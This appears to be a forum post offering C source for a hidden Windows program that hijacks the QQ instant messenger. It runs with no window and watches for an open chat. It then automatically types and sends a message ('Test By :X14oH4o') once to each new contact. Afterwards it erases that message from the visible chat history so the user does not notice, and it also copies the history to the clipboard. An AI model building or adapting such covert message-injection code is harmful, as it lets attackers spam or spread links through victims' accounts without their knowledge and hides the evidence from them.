|
把这下面这些代码用VC编辑链接运行生成程序即可。
#include <windows.h>
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
typedef struct tagMYCTRLINFO
{
long CtrlID;
long CtrlStyle;
}MYCTRLINFO,*PMYCTRLINFO;
HWND GetQQWnd()
{
HWND hwnd=GetForegroundWindow();
DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);
char ClassBuf[255]={0};
GetClassName(hwnd,ClassBuf,255);
if(strcmp(ClassBuf,"#32770")==0 && dwStyle==0x160F0044)
{
return hwnd;
}
return (HWND)-1;
}
HWND hChild;
char szQQlistNumber[MAX_PATH][MAX_PATH];
int NumberForszQQlistNumber=0;
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
if(((PMYCTRLINFO)(void*)lParam)->CtrlID==GetWindowLong(hwnd,GWL_ID) &&
((PMYCTRLINFO)(void*)lParam)->CtrlStyle==GetWindowLong(hwnd,GWL_STYLE))
{
hChild=hwnd;
return false;
}
return true;
}
HWND FindChildWindow(HWND hParent,long CtrlID,long CtrlStyle)
{
hChild=(HWND)-1;
MYCTRLINFO ctrlinfo;
ctrlinfo.CtrlID=CtrlID;
ctrlinfo.CtrlStyle=CtrlStyle;
if(EnumChildWindows(hParent,(WNDENUMPROC)EnumChildProc,
(LPARAM)(void*)(&ctrlinfo)))
{
return hChild;
}
return hChild;
}
HWND GetMsgEdit(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x0000037E,0x50011004);
}
HWND GetSendButton(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x0000077E,0x5001000B);
}
HWND GetHistoryWnd(HWND hParent)
{
return FindChildWindow(hParent,0x380,0x50011804);
}
HWND GetNameBar(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x00000546,0x50000100);
}
BOOL IsQQUsed(char (*pChar)[MAX_PATH],char *_szQqNumber,int iCntColum)
{
int iX=0;
while(iX<iCntColum)
{
if(lstrcmp(pChar[iX],_szQqNumber)==0)
{
return TRUE;
}
iX++;
}
return FALSE;
}
void AddQQ(char szQQ[])
{
lstrcpy(szQQlistNumber[NumberForszQQlistNumber],szQQ);
NumberForszQQlistNumber++;
}
void SendTail()
{
char szTest[]="Test By :X14oH4o";
HWND hParent=GetQQWnd();
if(!IsWindow(hParent))
return;
HWND hMsg=GetMsgEdit(hParent);
HWND hSendButton=GetSendButton(hParent);
HWND hHistory=GetHistoryWnd(hParent);
HWND hNameBar=GetNameBar(hParent);
if(!IsWindow(hMsg))
return;
if(!IsWindow(hSendButton))
return;
if(!IsWindow(hNameBar))
return;
if(!IsWindow(hHistory))
return;
char szQQNumber[128]={0};
GetWindowText(hNameBar,szQQNumber,32);
if(IsQQUsed(szQQlistNumber,szQQNumber,NumberForszQQlistNumber))
return;
AddQQ(szQQNumber);
if(IsWindow(hMsg)&&IsWindow(hSendButton))
{
int nFirstSel,nLastSel;
SendMessage(hHistory,EM_SETSEL,0,-1);
SendMessage(hHistory,WM_COPY,0,0);
SendMessage(hHistory,EM_SETSEL,0,0);
SendMessage(hHistory,EM_SETSEL,0,0xFFFF);
SendMessage(hHistory,EM_GETSEL,WPARAM(&nFirstSel),LPARAM(&nLastSel));
SendMessage(hMsg,EM_SETSEL,0xFFFF,0);
SendMessage(hMsg,EM_REPLACESEL,0,LPARAM(szTest));
SendMessage(hSendButton,WM_LBUTTONDOWN,0,0);
SendMessage(hSendButton,WM_LBUTTONUP,0,0);
SendMessage(hHistory,EM_SETSEL,nLastSel-1,0xFFFF);
SendMessage(hHistory,EM_REPLACESEL,0,0);
}
}
void main()
{
while(1)
{
Sleep(800);
SendTail();
}
}
|
|